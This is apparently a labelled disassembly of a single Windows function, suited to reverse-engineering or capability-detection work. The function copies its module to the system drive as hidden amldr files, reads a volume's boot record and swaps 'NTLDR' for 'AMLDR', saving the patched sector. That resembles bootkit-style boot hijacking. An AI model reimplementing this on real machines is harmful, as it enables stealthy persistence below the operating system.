Function at 0x10017d90
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Get common file path
Get file attributes
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9e4
mov eax, dword [0x1004c024]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
call fcn.10017b10
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x42c]
push eax
call fcn.10017710
add esp, 4
mov byte [ebp - 0x539], al
mov byte [ebp - 0x648], 0
push 0x103
push 0
lea ecx, [ebp - 0x647]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x118], 0
push 0x104
lea edx, [ebp - 0x648]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x10017e4d
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9b4], eax
push 0xf3
push 0x1003ac74
call fcn.10017a50
add esp, 8
push eax
push 0x1003ac88
mov eax, dword [ebp - 0x9b4]
push eax
mov ecx, dword [ebp - 0x9b4]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
xor eax, eax
jmp 0x1001886c
push 0x1003aca8
lea ecx, [ebp - 0x648]
push ecx
call fcn.10002700
add esp, 8
mov dword [ebp - 0x114], eax
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x648]
sub edx, eax
mov ecx, 0x104
sub ecx, edx
push ecx
push 0
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x648]
sub edx, eax
lea ecx, [ebp + edx - 0x648]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x648]
push edx
call sub.ntdll.dll_strlen
add esp, 4
movsx eax, byte [ebp + eax - 0x649]
cmp eax, 0x5c
je 0x10017ee9
lea ecx, [ebp - 0x648]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
movsx edx, byte [ebp + eax - 0x649]
cmp edx, 0x2f
je 0x10017ee9
push 0x1003acac
lea eax, [ebp - 0x648]
push eax
call sub.ntdll.dll_strcat
add esp, 8
mov byte [ebp - 0x538], 0
push 0x103
push 0
lea ecx, [ebp - 0x537]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x538]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x538]
push eax
call fcn.10001870
add esp, 8
mov esi, eax
push 0x2f
lea ecx, [ebp - 0x538]
push ecx
call fcn.10001870
add esp, 8
cmp esi, eax
jbe 0x10017f62
push 0x5c
lea edx, [ebp - 0x538]
push edx
call fcn.10001870
add esp, 8
mov dword [ebp - 0x9b8], eax
jmp 0x10017f79
push 0x2f
lea eax, [ebp - 0x538]
push eax
call fcn.10001870
add esp, 8
mov dword [ebp - 0x9b8], eax
mov ecx, dword [ebp - 0x9b8]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x10017fc9
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9bc], eax
push 0x103
push 0x1003acb0
call fcn.10017a50
add esp, 8
push eax
push str._s:_Failed.
mov edx, dword [ebp - 0x9bc]
push edx
mov eax, dword [ebp - 0x9bc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
call edx
add esp, 0xc
xor eax, eax
jmp 0x1001886c
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0
mov ecx, dword [ebp + 8]
and ecx, 0x100
je 0x1001800e
push 0x104
push 0
lea edx, [ebp - 0x648]
push edx
call sub.ntdll.dll_memset
add esp, 0xc
movsx eax, byte [ebp - 0x539]
push eax
push 0x1003acd0
lea ecx, [ebp - 0x648]
push ecx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov byte [ebp - 0x110], 0
push 0x103
push 0
lea edx, [ebp - 0x10f]
push edx
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.ntdll.dll_strcpy
add esp, 8
push 0x1003acd8
lea edx, [ebp - 0x110]
push edx
call sub.ntdll.dll_strcat
add esp, 8
mov byte [ebp - 0x220], 0
push 0x103
push 0
lea eax, [ebp - 0x21f]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x648]
push ecx
lea edx, [ebp - 0x220]
push edx
call sub.ntdll.dll_strcpy
add esp, 8
push str.amldr
lea eax, [ebp - 0x220]
push eax
call sub.ntdll.dll_strcat
add esp, 8
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1001810b
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9c0], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0x119
push 0x1003ace8
call fcn.10017a50
add esp, 8
push eax
push 0x1003acfc
mov eax, dword [ebp - 0x9c0]
push eax
mov ecx, dword [ebp - 0x9c0]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
add esp, 0x14
push 2
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x538]
push edx
lea eax, [ebp - 0x110]
push eax
call sub.ntdll.dll_strcpy
add esp, 8
push 0x1003ad10
lea ecx, [ebp - 0x110]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
lea edx, [ebp - 0x648]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.ntdll.dll_strcpy
add esp, 8
push str.amldr.mbr
lea ecx, [ebp - 0x220]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x100181dd
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9c4], eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x110]
push eax
push 0x126
push 0x1003ad28
call fcn.10017a50
add esp, 8
push eax
push str._s:_CopyFile__s___s
mov ecx, dword [ebp - 0x9c4]
push ecx
mov edx, dword [ebp - 0x9c4]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
call ecx
add esp, 0x14
push 2
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp + 8]
and eax, 1
je 0x100184f4
mov byte [ebp - 0x649], 0
push 0x104
lea ecx, [ebp - 0x798]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10018256
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9c8], eax
push 0x132
push 0x1003ad50
call fcn.10017a50
add esp, 8
push eax
push 0x1003ad64
mov edx, dword [ebp - 0x9c8]
push edx
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
call edx
add esp, 0xc
xor eax, eax
jmp 0x1001886c
mov al, byte [ebp - 0x798]
mov byte [ebp - 0x649], al
mov byte [ebp - 0x690], 0
push 0x3f
push 0
lea ecx, [ebp - 0x68f]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
and edx, 0x100
je 0x100182a6
movsx eax, byte [ebp - 0x539]
push eax
push 0x1003ad84
lea ecx, [ebp - 0x690]
push ecx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
jmp 0x100182c3
movsx edx, byte [ebp - 0x649]
push edx
push 0x1003ad8c
lea eax, [ebp - 0x690]
push eax
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov byte [ebp - 0x9a0], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x99f]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x79c], 0xffffffff
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x690]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0xffffffff
je 0x100184f4
mov dword [ebp - 0x9a4], 0
push 0
lea eax, [ebp - 0x9a4]
push eax
push 0x200
lea ecx, [ebp - 0x9a0]
push ecx
mov edx, dword [ebp - 0x79c]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10018388
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9cc], eax
push 0x149
push 0x1003ad94
call fcn.10017a50
add esp, 8
push eax
push str._s:_Read_DBR_failed.
mov eax, dword [ebp - 0x9cc]
push eax
mov ecx, dword [ebp - 0x9cc]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
jmp 0x100183fb
mov dword [ebp - 0x9a8], str.NTLDR
mov dword [ebp - 0x9ac], 0
jmp 0x100183ad
mov ecx, dword [ebp - 0x9ac]
add ecx, 1
mov dword [ebp - 0x9ac], ecx
cmp dword [ebp - 0x9ac], 0x1fb
jge 0x100183fb
push 5
mov edx, dword [ebp - 0x9a8]
push edx
mov eax, dword [ebp - 0x9ac]
lea ecx, [ebp + eax - 0x9a0]
push ecx
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100183f9
push 5
push str.AMLDR
mov edx, dword [ebp - 0x9ac]
lea eax, [ebp + edx - 0x9a0]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
jmp 0x1001839e
mov ecx, dword [ebp - 0x79c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x648]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.ntdll.dll_strcpy
add esp, 8
push str.amdbr
lea ecx, [ebp - 0x220]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
mov dword [ebp - 0x79c], 0xffffffff
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0xffffffff
je 0x100184f4
mov dword [ebp - 0x9b0], 0
push 0
lea eax, [ebp - 0x9b0]
push eax
push 0x200
lea ecx, [ebp - 0x9a0]
push ecx
mov edx, dword [ebp - 0x79c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100184d8
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9d0], eax
push 0x166
push 0x1003add8
call fcn.10017a50
add esp, 8
push eax
push str._s:_Write_DBR_failed.
mov eax, dword [ebp - 0x9d0]
push eax
mov ecx, dword [ebp - 0x9d0]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
mov ecx, dword [ebp - 0x79c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x220]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x538]
push edx
lea eax, [ebp - 0x110]
push eax
call sub.ntdll.dll_strcpy
add esp, 8
push 0x104
lea ecx, [ebp - 0x648]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x10018598
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9d4], eax
push 0x175
push 0x1003ae04
call fcn.10017a50
add esp, 8
push eax
push str._s:_GetSystemDirecotry_failed.
mov edx, dword [ebp - 0x9d4]
push edx
mov eax, dword [ebp - 0x9d4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
call edx
add esp, 0xc
xor eax, eax
jmp 0x1001886c
push 0x104
push 0
lea eax, [ebp - 0x648]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x648]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dl, byte [ebp - 0x648]
mov byte [ebp - 0x220], dl
push 0x1003ae38
lea eax, [ebp - 0x220]
push eax
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003ae3c
lea ecx, [ebp - 0x220]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10018662
push 0
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10018653
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9d8], eax
push 0x181
push 0x1003ae44
call fcn.10017a50
add esp, 8
push eax
push str._s:_Create_Dir_failed.
mov ecx, dword [ebp - 0x9d8]
push ecx
mov edx, dword [ebp - 0x9d8]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
call ecx
add esp, 0xc
push 2
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1003ae70
lea eax, [ebp - 0x220]
push eax
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003ae74
lea ecx, [ebp - 0x220]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003ae80
lea edx, [ebp - 0x110]
push edx
call sub.ntdll.dll_strcat
add esp, 8
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100186f3
lea ecx, [ebp - 0x538]
push ecx
lea edx, [ebp - 0x110]
push edx
call sub.ntdll.dll_strcpy
add esp, 8
push 0x1003ae8c
lea eax, [ebp - 0x110]
push eax
call sub.ntdll.dll_strcat
add esp, 8
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100186f3
xor eax, eax
jmp 0x1001886c
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10018754
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9dc], eax
push 0x199
push 0x1003ae98
call fcn.10017a50
add esp, 8
push eax
push str._s:_CopyFileA_failed.
mov edx, dword [ebp - 0x9dc]
push edx
mov eax, dword [ebp - 0x9dc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
call edx
add esp, 0xc
push 2
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [ebp - 0x428], 0
push 0x206
push 0
lea ecx, [ebp - 0x426]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
movsx edx, byte [ebp - 0x648]
push edx
push 0x1003aec4
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.MSVCR80.dll__swprintf]
add esp, 0xc
mov dword [ebp - 0x540], 0xffffffff
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0xffffffff
je 0x100187f3
mov edx, dword [ebp - 0x540]
push edx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001882d
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9e0], eax
push 0x1af
push 0x1003aed4
call fcn.10017a50
add esp, 8
push eax
push str._s:_FlushFileBuffers_failed.
mov ecx, dword [ebp - 0x9e0]
push ecx
mov edx, dword [ebp - 0x9e0]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
call ecx
add esp, 0xc
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0x9e4], eax
push 0x1b2
push 0x1003af08
call fcn.10017a50
add esp, 8
push eax
push str._s:_CopyFiletoSystem_OK_OK_OK
mov edx, dword [ebp - 0x9e4]
push edx
mov eax, dword [ebp - 0x9e4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
call edx
add esp, 0xc
mov eax, 1
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000f6c2
mov esp, ebp
pop ebp
ret